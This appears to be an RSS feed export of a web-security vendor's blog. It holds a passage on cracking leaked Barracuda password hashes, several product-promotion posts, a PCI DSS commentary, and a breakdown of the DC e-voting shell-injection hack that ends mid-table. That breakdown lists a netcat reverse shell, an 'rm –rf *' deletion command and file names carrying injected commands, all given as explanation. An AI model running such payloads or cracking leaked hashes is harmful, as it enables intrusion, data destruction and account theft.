<p>This table is called CMS_LOGINS and contains 251 login accounts for the Barracuda Content Management System. The hashed passwords use the MD5 algorithm.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda2.png"><img class="size-full wp-image-3326 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda2.png" alt="" width="410" height="193" /></a></p>
<p>The following passwords were extracted from the main mySQL database itself and contains users who have system-level privileges some which are tied down to particular servers and some which grant access to all servers on the network. This database contains 23 users.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda4.png"><img class="size-full wp-image-3325 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda4.png" alt="" width="500" height="396" /></a></p>
<p>The users below were extracted from another database and contains user names, passwords and email addresses of Barracuda employees, possibly those who had access to the web help-desk system.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda5.png"><img class="size-full wp-image-3324 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda5.png" alt="" width="500" height="257" /></a></p>
<p>As you can see from the above tables, none of the passwords were stored in clear-text. Barracuda attempted to downplay the importance of these hashes by saying that they were salted, however upon closer inspection I found this claim to be unfounded.</p>
<p>Take a look at the main mySQL table. It contains duplicate hashes which not only shows that the administrator was using the same passwords for different accounts, but also shows that salting did not take place, or did not take place properly. Salting should append a different value to every password before it is hashed therefore making each of the hashes unique which is clearly not the case here.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/dupe_new_barracuda4.png"><img class="size-full wp-image-3323 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/dupe_new_barracuda4.png" alt="" width="379" height="142" /></a></p>
<p>After looking at this, I decided to try a rainbow table attack on some of the hashes. A rainbow table attack is very simple; huge lists of precomputed hashes are obtained (Google is your friend) and a simple text search is done within them. The crudest way of doing this is to simply paste the hash into Google and if you are lucky, you will come up with a match. Salting makes this trivial attack useless, so if the passwords were salted I would not have been successful.</p>
<p>For this test I took the hashes from the help-desk administrators table, below are some of the results:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/zombie_hash.png"><img class="size-full wp-image-3322 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/zombie_hash.png" alt="" width="529" height="164" /></a></p>
<p>The password above, which took less than half a second to crack is “zombie”, hardly a safe password. The result below makes me want to cry.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/password_hash.png"><img class="size-full wp-image-3321 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/password_hash.png" alt="" width="519" height="183" /></a></p>
<p>You are not seeing it incorrectly. It really does say that this password is “password”, the least secure password thatcan ever be used. How can Barracuda Networks risk such embarrassment?</p>
<p>Some other passwords were not as easy to crack, however I succeeded anyway after enlisting my Romanian friends who helped me brute-force some of the stronger passwords.</p>
<p>Below are some of the results after about 50 hours of brute-force cracking. These hashes come from different databases that were breached during the attack.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/cracked_passwords.png"><img class="size-full wp-image-3320 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/cracked_passwords.png" alt="" width="517" height="422" /></a></p>
<p>Needless to say, these passwords were not strong enough to withstand a brute-force attack and contrary to Barracuda’s false claims, they were obviously not salted either.</p>
<h2>Lessons Learned</h2>
<p>In a blog post to the Barracuda Labs security blog Micheal (Mike) Perone listed a few lessons that his team learned after the breach. In summary, they are:</p>
<p>You can’t leave a Web site exposed nowadays for even a day (or less).</p>
<p>Code vulnerabilities can happen in places far away from the data you’re trying to protect.</p>
<p>You can’t be complacent about coding practices, operations or even the lack of private data on your site – even when you have WAF technology deployed.</p>
<p>The first two lessons are trivial and probably show the naivety of Barracuda staff. A website cannot be exposed even for a few seconds, let alone a day! Furthermore, in this globalised and networked world, “places far away” can never be more than a few milliseconds apart.</p>
<p>I do applaud Mike on his third point. WAF technology is not enough. It should never be considered to be the only line of defence. At best a WAF will mitigate the risk of attacks, and if configured properly can reduce the load on your web servers. At worst (as in this breach), a WAF can fool you into thinking that you are safe enough, and therefore deeper tests such as code reviews and scans performed by a <a title="Web Vulnearbility Scanner" href="http://www.acunetix.com/vulnerability-scanner/">web vulnerability scanner</a> might be neglected. This leaves your web application exposed to threats, and should the WAF fail, vulnerabilities will stick out like a sore thumb.</p>
<p>In addition to the lessons learned, I would also like to add a few of my own. Hopefully someone working at Barracuda will be humble enough to listen to me and learn something.</p>
<p>Be honest. Credibility with your customers is important, and your customers are not fools. After a breach like this Barracuda should have never made false claims that could be refuted using a simple Google search.</p>
<p>Salt your passwords. Really. Do not just wish or pretend you did. Salting is easy, recommended by everyone and extremely effective in mitigating attacks. It will also save you a whole lot of embarrassment when your administrator uses passwords like “zombie” and “password”.</p>
<p>Have a password policy in place. Do not allow easily guessable passwords to be the weak link in your chain of security. Password policies are easy to enforce through software and although are a nuisance to your users they remain a necessary evil.</p>
<p>Use a vulnerability scanner. Do not hide behind a Web Application Firewall. Scan your networks instead and identify bugs in your web applications. When you expose yourself you inevitably tend to protect yourself better.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/barracuda-networks-breached/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>&#8220;Acunetix Quickly Detects a Wide Variety of Vulnerabilities&#8221;</title>
		<link>http://www.acunetix.com/blog/news/infosec-island-scan-acunetix-web-vulnerability-scanner/</link>
		<comments>http://www.acunetix.com/blog/news/infosec-island-scan-acunetix-web-vulnerability-scanner/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 14:57:10 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[featured]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[OWASP]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3200</guid>
		<description><![CDATA[With all the talk lately, especially in the OWASP LinkedIn forum, about the most expensive web scanners being the so-called best, Infosec Island have put the far more affordable Web Vulnerability Scanners to the test.
By ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/04/acunetix_web_vulnerability_scanner_screenshot.jpg"><img class="alignleft size-medium wp-image-3201" title="acunetix_web_vulnerability_scanner_screenshot" src="http://www.acunetix.com/blog/wp-content/uploads/2011/04/acunetix_web_vulnerability_scanner_screenshot-300x191.jpg" alt="Acunetix Web Vulnerability Screenshot" width="300" height="191" /></a>With all the talk lately, especially in the OWASP LinkedIn forum, about the most expensive web scanners being the so-called best, Infosec Island have put the far more affordable Web Vulnerability Scanners to the test.</p>
<p>By using two well known web applications that were purposely developed with vulnerabilities in order to facilitate web application testing and research (Damn Vulnerable Web Application (DVWA) and the IBM AppScan demo site called Testfire), it was time to see whether these claims were accurate and to determine the weaknesses and strengths of more affordable options. InfoSec Island&#8217;s Mark Baldwin put them to the test.</p>
<p>&#8220;Fortunately, in recent years, two companies have developed commercial webapp scanners that rival the features, the speed, the usability and the accuracy of any commercial tool on the market.  And they do it at a price point that just about any small business or independent consultant can afford&#8221;, said Baldwin.</p>
<p>So what did they have to say about these scanners, including Acunetix? &#8220;The strength of Acunetix lies in its ability to quickly detect a wide variety of vulnerabilities with little need for advanced tuning and configuration.  However, for those who desire more control over the tests and like to get their hands dirty, Acunetix provides the flexibility and built-in tools that even the most advanced pen testers will appreciate. &#8221;</p>
<p>Acunetix Web Vulnerability Scanner proved impressive. &#8220;With Acusensor enabled, Acunetix detected 8 of the 9 specifically crafted vulnerabilities in DVWA.&#8221; It did this without any false positives, &#8220;Both Netsparker and Acunetix did a very good job of not reporting false positives. None of the reported vulnerabilities in my tests were discovered to be false positives.&#8221;</p>
<p>It looks as though those claiming that the most expensive web vulnerability scanners are the best need to re-think their position! You can read the full independent review by Mark Baldwin over at <a title="Infosec Island Acunetix Review" href="https://www.infosecisland.com/blogview/12935-Webapp-Scanner-Review-Acunetix-Versus-Netsparker.html" target="_blank">Infosec Island, here.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/infosec-island-scan-acunetix-web-vulnerability-scanner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acunetix Web Vulnerability Scanner Version 7 Reviewed by Darknet.org.uk</title>
		<link>http://www.acunetix.com/blog/news/web-vulnerability-scanner-7-darknet-review/</link>
		<comments>http://www.acunetix.com/blog/news/web-vulnerability-scanner-7-darknet-review/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 13:51:13 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[featured]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[acunetix software]]></category>
		<category><![CDATA[Acunetix WVS 7.0]]></category>
		<category><![CDATA[Darknet.org.uk]]></category>
		<category><![CDATA[Web Security Scanners]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3083</guid>
		<description><![CDATA[Most of the improvements and major changes in version 7 are under the hood, but at first use you will notice the difference. The scanner is much faster and seems more intelligent (there were noticeably ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x742.png"><img class="alignleft size-full wp-image-1329" title="acunetix logo" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x742.png" alt="" width="100" height="74" /></a>Most of the improvements and major changes in version 7 are under the hood, but at first use you will notice the difference. The scanner is much faster and seems more intelligent (there were noticeably less false positives than I remember in version 6) and it has much better support for Web 2.0 and AJAX powered web applications. That is of course a huge area now and very important for a tool like this that focuses on Web Security to support well (the modules have been re-written to support technologies such as such as JSON, XML and more). It also helps that it uses new unique verification techniques so you don’t have to wade through all the false positives by hand.</p>
<p><a href="http://www.darknet.org.uk/2011/02/acunetix-wvs-web-vulnerability-scanner-7-review-engine-scanning-improvements/" target="_blank">Click here to read the entire review</a> | <a href="http://www.acunetix.com/blog/reviews/">Read more reviews on Acunetix</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/web-vulnerability-scanner-7-darknet-review/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acunetix WVS voted Windowsecurity.com Readers&#8217; Choice Award Winner for the Fourth Time</title>
		<link>http://www.acunetix.com/blog/news/web-vulnerability-scanner-wins-award/</link>
		<comments>http://www.acunetix.com/blog/news/web-vulnerability-scanner-wins-award/#comments</comments>
		<pubDate>Wed, 23 Feb 2011 15:49:00 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[award]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>
		<category><![CDATA[windowsecurity.com]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3035</guid>
		<description><![CDATA[For the fourth time in a row, Acunetix Web Vulnerability Scanner Chosen as the Windowsecurity.Com Readers’ Choice Award Winner.
The leading Windows Security resource site, WindowSecurity.com, announced today that Acunetix Web Vulnerability Scanner was selected the ...]]></description>
			<content:encoded><![CDATA[<p><strong><strong><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/WS_ReadersChoice_Winner_88x51.gif"><img class="alignleft" title="Windows Security Reader's Choice Winner" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/WS_ReadersChoice_Winner_88x51.gif" alt="Acunetix Web Vulnerability Scanner win the Windowsecurity.com Reader's Choice Award for the 4th Year Running!" width="88" height="51" /></a></strong>For the fourth time in a row, Acunetix Web Vulnerability Scanner Chosen as the Windowsecurity.Com Readers’ Choice Award Winner.</strong></p>
<p><strong></strong>The leading Windows Security resource site, WindowSecurity.com, announced today that Acunetix Web Vulnerability Scanner was selected the winner in the Web Application Security category of the WindowSecurity.com Readers’ Choice Awards.</p>
<p><span id="more-3035"></span>“Our Readers’ Choice Awards give visitors to our site the opportunity to vote for the products they view as the very best in their respective category,” said Sean Buttigieg, WindowSecurity.com manager. “WindowSecurity.com users are specialists in their field who encounter various network security solutions at the workplace.  The award serves as a mark of excellence, providing the ultimate recognition from peers within the industry.”</p>
<p>“It’s a great honour to be awarded the Windowsecurity.com Readers’ Choice Award for the fourth consecutive time. It re-emphasizes our ability to keep providing a quality and innovative product by being consistently voted as the number one web application security scanner by the readers of a leading authority in network security,” said Robert Abela, Technical Manager at <a href="http://www.acunetix.com/blog/">Acunetix</a>.</p>
<p><em>WindowSecurity.com </em>conducts monthly polls to discover which product is preferred by Network Security administrators in a particular category of third party network security solutions. The awards draw a huge response per category and are based entirely on the visitors’ votes. WindowSecurity.com visitors can submit their votes for the current Readers&#8217; Award poll in the site’s left-hand bar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/web-vulnerability-scanner-wins-award/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acunetix Web Vulnerability Scanner 7 reviewed by Net Security.org</title>
		<link>http://www.acunetix.com/blog/news/wvs7-review-net-security/</link>
		<comments>http://www.acunetix.com/blog/news/wvs7-review-net-security/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 13:20:49 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[featured]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[acunetix software]]></category>
		<category><![CDATA[Acunetix WVS 7.0]]></category>
		<category><![CDATA[Net Security.org]]></category>
		<category><![CDATA[Security Tools]]></category>
		<category><![CDATA[Web Security Scanners]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2874</guid>
		<description><![CDATA[Acunetix WVS  7.0 is not only helpful, it is extremely powerful. With the new multi-threaded scanner, the entire process far faster and efficient than ever before.  This software offers the best of both worlds; the ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x74.png"><img class="alignleft size-full wp-image-1262" style="margin-right: 5px;" title="acunetix_logo_blog_post_100x74" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x74.png" alt="Acunetix WVS build 20110124" width="100" height="74" /></a><a href="http://www.acunetix.com/vulnerability-scanner/features.htm" target="_blank">Acunetix WVS  7.0</a> is not only helpful, it is extremely powerful. With the new multi-threaded scanner, the entire process far faster and efficient than ever before.  This software offers the best of both worlds; the automatic scanner that executes a quality triage of the target, and handy tools that allow you to manually test all those things that need your particular attention. If I had to single out those tools I found most helpful, I would have to say the Compare Editor and <a href="http://www.acunetix.com/blog/docs/http-fuzzer-tool/" target="_blank">Fuzzer tools</a>, but all in all, Acunetix WVS presents a great compilation that can&#8217;t fail to satisfy even the most fastidious penetration tester.<span id="more-2874"></span></p>
<p style="text-align: left;">Acunetix has long had the reputation of manufacturing one of the best tools for this kind of job. The company has recently released a new version of their Acunetix Web Vulnerability Scanner (v.7), and has rewritten most of its core components &#8211; making it faster and better.</p>
<p style="text-align: left;">The new features include a new scanning engine that detects a wider range of vulnerabilities, improved web 2.0 application support and session management handling, ability to rescan a specific vulnerability to verify remediation, less false positives and negatives, a lesser chance of breaking down a website while scanning, and more.&#8221; &#8211; Zeljka Zorz &#8211; Net Security.</p>
<p style="text-align: left;"><a href="http://www.net-security.org/review.php?id=241" target="_blank">Click here to read the entire review</a> | <a href="http://www.acunetix.com/blog/reviews/">Read more reviews on Acunetix</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/wvs7-review-net-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acunetix WVS v7 build 20101206 automatically checks for DOM XSS</title>
		<link>http://www.acunetix.com/blog/releases/acunetix-wvs-v7-20101206-dom-xss/</link>
		<comments>http://www.acunetix.com/blog/releases/acunetix-wvs-v7-20101206-dom-xss/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 14:56:21 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[releases]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[bug fixes]]></category>
		<category><![CDATA[dom xss]]></category>
		<category><![CDATA[new build]]></category>
		<category><![CDATA[new feature]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2650</guid>
		<description><![CDATA[The new build of Acunetix Web Vulnerability scanner Version 7 checks for DOM based XSS vulnerabilities.  Unlike the traditional cross-site scripting vulnerability, document object model based cross-site scripting (DOM XSS) vulnerability is a type of ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/08/v7.png"><img class="alignleft size-thumbnail wp-image-2042" title="Acunetix v7" src="http://www.acunetix.com/blog/wp-content/uploads/2010/08/v7-150x150.png" alt="" width="150" height="150" /></a>The new build of Acunetix Web Vulnerability scanner Version 7 checks for <a href="http://www.acunetix.com/blog/web-security-zone/articles/dom-xss/" target="_self">DOM based XSS vulnerabilities</a>.  Unlike the traditional cross-site scripting vulnerability, document object model based cross-site scripting (DOM XSS) vulnerability is a type of vulnerability which affects the script code in the client’s browser.  To read and learn more about DOM based Cross-site scripting vulnerabilities, <a href="http://www.acunetix.com/blog/web-security-zone/articles/dom-xss/" target="_self">click here</a>.</p>
<p>Apart from the automated DOM XSS checks, the new build also contains the following bug fixes.</p>
<p><span id="more-2650"></span></p>
<ul>
<li>Fixed: Get First URL Only option not working correctly because it was still importing links from CSA engine</li>
<li>Fixed: &#8220;User credentials sent in clear text&#8221; was not being reported by crawler in certain circumstances</li>
<li>Fixed: Port was being specified in host header even if default ports were being used.</li>
</ul>
<p><strong>How to upgrade to build 20101206</strong></p>
<p>On starting up Acunetix WVS, a pop up window will automatically notify you that a more recent build is available for download.  To download the latest build, navigate to General &gt; Program Updates node in the Tools explorer, and click on Download and Install new build.</p>
<p>Click <a href="http://www.acunetix.com/support/build-history.htm" target="_self">here</a> for the complete <a href="http://www.acunetix.com/support/build-history.htm" target="_self">Acunetix WVS change log</a>.</p>
<p>Contact us on <a href="mailto:support@acunetix.com">support@acunetix.com</a> for any technical queries, and on <a href="mailto:sales@acunetix.com">sales@acunetix.com</a> for any sales queries.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/releases/acunetix-wvs-v7-20101206-dom-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Notable changes in PCI DSS 2.0 affecting Web application security</title>
		<link>http://www.acunetix.com/blog/news/changes-pci-dss-2/</link>
		<comments>http://www.acunetix.com/blog/news/changes-pci-dss-2/#comments</comments>
		<pubDate>Thu, 18 Nov 2010 14:26:10 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[compliance regulations]]></category>
		<category><![CDATA[pa-dss]]></category>
		<category><![CDATA[pci compliance]]></category>
		<category><![CDATA[PCI DSS]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2501</guid>
		<description><![CDATA[&#8220;Clarification, additional guidance, and evolving requirements&#8221; – welcome to the new PCI standards! Hot off the press are the new PCI DSS and PA-DSS requirements which take effect January 1, 2011. So, if you work ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/11/pci-dss.png"><img class="alignleft size-full wp-image-2508" src="http://www.acunetix.com/blog/wp-content/uploads/2010/11/pci-dss.png" alt="" width="187" height="67" /></a>&#8220;Clarification, additional guidance, and evolving requirements&#8221; – welcome to the new PCI standards! Hot off the press are the new PCI DSS and PA-DSS requirements which take effect January 1, 2011. So, if you work in or around <a href="http://www.acunetix.com/vulnerability-scanner/" target="_self">Web application security</a>, it’ll behoove you to familiarize yourself with what’s coming.</p>
<p><strong>Here are the big areas that affect us:</strong></p>
<p>1.    All locations and flows of cardholder data need to be identified/documented through a discovery process to ensure everything important is kept in check. I’m not sure why this fundamental principle of information risk needs to be clarified…At least there’ll be no more “accidentally” overlooking the small stuff.</p>
<p>2.    The scope of protection now includes virtualization. Again, it’s interesting that this needed to be called out given the reality of anything with an IP address or URL is fair game for attack. I suspect lawyers had something to do with this clarification.</p>
<p>3.    Payment applications must support centralized logging which aligns the PA-DSS and PCI DSS requirements. This is one of those <em>behind-the-scenes</em> areas of Web application security that would benefit us all if we delved deeper in to during our Web security assessments.</p>
<p>4.    Additional “secure coding” guidance is provided including references to SANS CWE Top 25 and CERT standards which branches out from the previous references to OWASP only. I think this is a good approach as not everyone uses or relies on OWASP. Heck, at least half of the developers, QA professionals, IT managers and internal auditors I speak with have never even heard of OWASP anyway. It’s good to see a broader set of industry standards will be acceptable.</p>
<p>5.    Finally, perhaps most importantly, there’s new guidance on taking a risk-based approach to the security assessment process. This includes preventing common coding flaws introduced during the SDLC that lead to “High” risk vulnerabilities. So, no more spreading fear and uncertainty on issues like cross-site request forgery (CSRF), parameter manipulation and so on which, looking at the big picture, might not matter in the context of your specific business environment.</p>
<p>The PCI Security Standards Council is playing these changes down as nothing new but I think they’re significant. Not only does version 2.0 of PCI DSS and PA-DSS help clear up some otherwise foggy issues from the version 1.2 days, it actually provides covered entities more power and control to use some <em>common sens</em>e – something we need a lot more of when it comes to information security.</p>
<p>I’m not a big fan of the PCI Security Standards Council and the approach they’re taking with PCI compliance but kudos to them for making these revisions to the regulations &#8211; which, by the way, are now on a three year development cycle instead of it being every two years. Imagine the money that could be saved and efforts that could be limited if similar <em>government</em> regulations were continually updated. Okay, so the HITECH Act provided clarification and teeth for HIPAA but that’s the exception rather than the rule. It’s interesting insight into private industry versus government approaches to privacy and security regulation nonetheless.</p>
<p>In the end, no matter how much government agencies and industry bodies want to effect change in the marketplace through their regulations, odds are we’ll continue to see more of the same. More flaws, more attacks and more data breaches. There can be an unlimited amount of PCI-type regulations around the world but there’s still no fix for stupid security choices. I suspect Web vulnerabilities will live on…but I’m not complaining.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/changes-pci-dss-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Internet Voting Trial Thwarted by Hackers</title>
		<link>http://www.acunetix.com/blog/news/internet-voting-hacked/</link>
		<comments>http://www.acunetix.com/blog/news/internet-voting-hacked/#comments</comments>
		<pubDate>Mon, 18 Oct 2010 09:56:43 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[e-voting]]></category>
		<category><![CDATA[file upload]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[internet voting]]></category>
		<category><![CDATA[online voting]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2340</guid>
		<description><![CDATA[The District of Columbia recently attempted to give the opportunity to number of people who live or work overseas to be able to cast their vote remotely. To do this a secure E-Voting website costing over $300,000 was built. On Tuesday, September 28 2010 the first public trial run was launched. Thirty-six hours later the voting system was hacked by a student. It took nearly three days for D.C officials to realize that their system was compromised. The trial was immediately suspended and red-faced engineers and politicians quickly scrambled to find out how this breach could possibly have happened.
]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/10/online_vote.jpg"><img class="alignleft size-full wp-image-2438" title="online vote" src="http://www.acunetix.com/blog/wp-content/uploads/2010/10/online_vote.jpg" alt="" width="150" height="138" /></a>The District of Columbia recently attempted to give the opportunity to a number of people who live or work overseas to be able to cast their vote remotely. To do this a secure E-Voting website costing over $300,000 was built. </strong><strong>On Tuesday, September 28 2010 the first public trial run was  launched. Thirty-six hours later the voting system was hacked by a  student. It took nearly three days for D.C officials to realize that  their system was compromised.</strong><strong> The trial was immediately suspended and red-faced engineers and politicians quickly scrambled to find out how this breach could possibly have happened.<span id="more-2340"></span></strong></p>
<p>In all fairness, the student was not just any student. He was the student of a class led by J. Alex Halderman, an assistant professor at the University of Michigan who specialises in computer security. Halderman heard about the public trial run of the E-Voting system just a few days before its launch and quickly assembled a team from his students. Their task was to test the site for vulnerabilities, and exploit the first security hole that they found.</p>
<h1><span style="font-weight: normal;">The Exploit in Detail</span></h1>
<p>After only 36 hours of going live, a security hole in the E-Voting Web Application was discovered. This particular vulnerability allowed an E-Voter to take near-complete ownership of the Internet Voting website allowing them to:</p>
<div>
<ul>
<li>Collect data from server, including all votes and other secret information such as the E-Voter’s passwords, and the keys used to encrypt the data.</li>
<li>Modify ballots of that had already been cast. These were encrypted on the server but were cracked using the recovered keys.</li>
<li>They also installed backdoor enabling them (or someone else) to easily gain access to the system at a later time.</li>
<li>Interestingly they also embedded an anthem which played automatically on a voters browser a few seconds after his vote was cast. The song was no other than the university&#8217;s victory song.</li>
</ul>
<p>You can see a demonstration of their anthem on the E-Voting Website <a href="http://www.cse.umich.edu/~jhalderm/pub/dc/thanks/" target="_blank">here</a>. (You need to wait 15 seconds before the song begins.)</p>
<p>To do all this, Halderman’s team exploited what is often called a “Shell-Injection Vulnerability”. It is part of a bigger family of vulnerabilities classified as “Code-Injection Vulnerabilities”, the same family that contains both <a href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm" target="_blank">Cross Site Scripting (XSS)</a> and <a href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_blank">SQL Injection</a>.</p>
<p>To exploit this, the team executed the following sequence of events:</p>
<ol>
<li>Fill in their e-voting form, which is in PDF format</li>
<li>Append a Unix Shell command to the filename’s extension</li>
<li>Upload the file, and the desired command will execute with full system privileges</li>
</ol>
</div>
<p>Below is a diagram showing where the flaw was discovered:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/10/votehack-1.png"><img class="aligncenter size-full wp-image-2349" src="http://www.acunetix.com/blog/wp-content/uploads/2010/10/votehack-1.png" alt="" width="358" height="656" /></a></p>
<h1><span style="font-weight: normal;">Shell-Injection</span></h1>
<div>A Shell-Injection vulnerability allows the attacker to inject and execute a Unix Shell command using some form of input element of the website as an attack vector.  Some examples of commands that could be executed are:</div>

<table id="wp-table-reloaded-id-20-no-1" class="wp-table-reloaded wp-table-reloaded-id-20">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Command</th><th class="column-2">Description</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">$ netcat 192.168.5.10 9 -e /bin/bash</td><td class="column-2">Allow a host to execute shell commands remotely</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">$ rm –rf *</td><td class="column-2">Delete all the files and folders on the disk</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">$ service proftpd start</td><td class="column-2">Start the File Transfer service on the remote host</td>
	</tr>
</tbody>
</table>

<p>The attacker managed to inject shell commands in a very ingenious way. He realised that when he uploaded his vote, which is a PDF file, the server encrypts the file. It does this after running a Ruby script that “shells out” to invoke an encryption module called GNU Privacy Guard, known to UNIX hackers simply as <strong>gpg</strong>.</p>
<p>“Shelling out” of a script is in itself not a security flaw, it is a common practice employed by many web developers when they need to execute external commands on the server. This practice is frowned upon by many security researchers because when used incorrectly it can lead to critical security breaches, giving the attacker complete ownership of the system.</p>
<p>In this case, the fatal flaw was that the shell command executed by the web application made use of the extension of the file uploaded by the voter. Every character in the file name that appeared after the last period was appended to the shell command. To compound the problem, little or no validation was done to the file name after it was uploaded.</p>
<p>The segment below highlights the code that uses the file extension as part of the gpg encryption command.</p>
<blockquote><p>begin<br />
run(&#8220;rm&#8221;, &#8220;-f \&#8221;#{File.expand_path(dst.path)}\&#8221;")<br />
<strong>run(&#8220;gpg&#8221;, &#8220;&#8211;trust-model always -o \&#8221;#{File.expand_path(dst.path)}\&#8221; -e -r \&#8221;#{@recipient}\&#8221; \&#8221;#{File.expand_path(src.path)}\&#8221;")</strong><br />
rescue PaperclipCommandLineError<br />
raise PaperclipError, &#8220;couldn&#8217;t be encrypted. Please try again later.&#8221;</p></blockquote>
<p>The highlighted code above will cause the server execute the following command after a file named myvotingdocument.pdf has been uploaded:</p>
<div>
<blockquote><p><em>gpg […] /tmp/stream,28957,0.</em><em><strong>pdf</strong><br />
</em></p></blockquote>
<p>If a file with a different extension were to be uploaded, for example myvotingdocument.bad, the following command will be executed on the server:</p>
<blockquote><p><em>gpg […] /tmp/stream,28957,0.</em><em><strong>bad</strong><br />
</em></p></blockquote>
<p>The real trouble comes when a ‘new command’ character followed by a shell command is placed right after the last period, as shown in the following example:<br />
The file name: b<em>allot.$(sleep 10)pdf </em>would run two commands:</p>
<blockquote><p><em>gpg […] /tmp/stream,28957,0.<br />
<strong><span style="color: #993300;"> sleep 10</span></strong></em></p></blockquote>
<p>The command sleep 10 will cause the server to wait 10 seconds before proceeding. Whilst that is not very malicious, the following file names can cause a great deal of damage:</p>
</div>

<table id="wp-table-reloaded-id-21-no-1" class="wp-table-reloaded wp-table-reloaded-id-21">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">File name</th><th class="column-2">Command</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">ballot.$netcat 192.168.5.10 9 -e /bin/bash)pdf</td><td class="column-2">$ netcat 192.168.5.10 9 -e /bin/bash</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">ballot.$(rm –rf *)pdf</td><td class="column-2">$ rm –rf *</td>
	</tr>
	<tr class="row-4 even">
